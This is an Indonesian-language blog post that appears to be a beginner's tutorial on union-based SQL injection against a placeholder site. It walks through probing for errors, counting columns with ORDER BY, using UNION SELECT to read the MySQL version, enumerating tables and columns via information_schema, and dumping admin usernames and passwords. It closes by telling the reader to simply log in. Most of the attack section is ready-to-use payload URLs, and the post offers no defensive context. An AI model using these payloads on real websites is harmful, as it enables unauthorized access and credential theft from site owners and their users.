Teknik SQL Injection





SQL Injection adalah kode injeksi teknik yang memanfaatkan sebuah kerentanan keamanan yang terjadi dalam database lapisan sebuah aplikasi . kerentanan ini hadir ketika masukan pengguna tidak benar baik disaring untuk string literal karakter melarikan diri tertanam di SQL laporan atau masukan pengguna tidak kuat diketik dan dengan demikian tak terduga dieksekusi. Ini adalah turunan dari kelas yang lebih umum dari kerentanan yang dapat terjadi kapan pun salah satu bahasa pemrograman atau script yang tertanam di dalam yang lain. serangan injeksi SQL juga dikenal sebagai serangan penyisipan SQL.

Berikut contoh bagaimana menggunakan sql injection..




dibawah ini adalah contoh dasar penggunaan teknik sql injection

1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah http://www.target.com/berita.php?id=100


2. Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.


Contoh :

http://www.target.com/berita.php?id=100'


atau


http://www.target.com/berita.php?id=-100


4. Maka akan muncul pesan error...

"You have an error in your SQL syntax.You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right syntax to use near '''

at line 1" Dan masih banyak lagi macamnya.


5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya...

Disini kita akan menggunakan perintah order by


Contoh :

http://www.target.com/berita.php?id=100+order+by+1/*


Hohoho...apalagi itu "/*" ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake "--". Terserah aja...


Kalo "+" sebagai penghubung perintah...


6. Nah sampe sini langsung dah nyobain satu2...


http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)

http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)

http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)

http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)


Sampai muncul error...

Misalkan errornya disini...


http://www.target.com/berita.php?id=100+order+by+10/*


Berarti yang kita ambil adalah "9"

http://www.target.com/berita.php?id=100+order+by+9/*


7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION


Contoh :

http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*


Trus perhatikan angka berapa yang keluar (Kayak togel aja... ;p)


8. Misalnya angka hoki yang keluar adalah "3" maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah "version()" atau "@@version"


http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*


Atau


http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*


9. Nah kalo versinya 5 langsung aja pake perintah "information_schema" untuk melihat tabel dan kolom yang ada pada database...


Contoh :


http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*


Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya...Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain...ya maklum lah baru belajar...Hehehe...


Misalnya yang lo liat adalah table "admin"


Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata "table"-nya...


Contoh:

http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*


Misalnya kolom yang keluar adalah "password" dan "username"

Langsung aja kita liat isinya...


Contoh :

http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*


dan


http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*


Bisa diliat dah username dan passwordnya...Tinggal login... anggap saja rumah sendiri



klik disini untuk melihat video demonya

0 komentar:

Blog Archive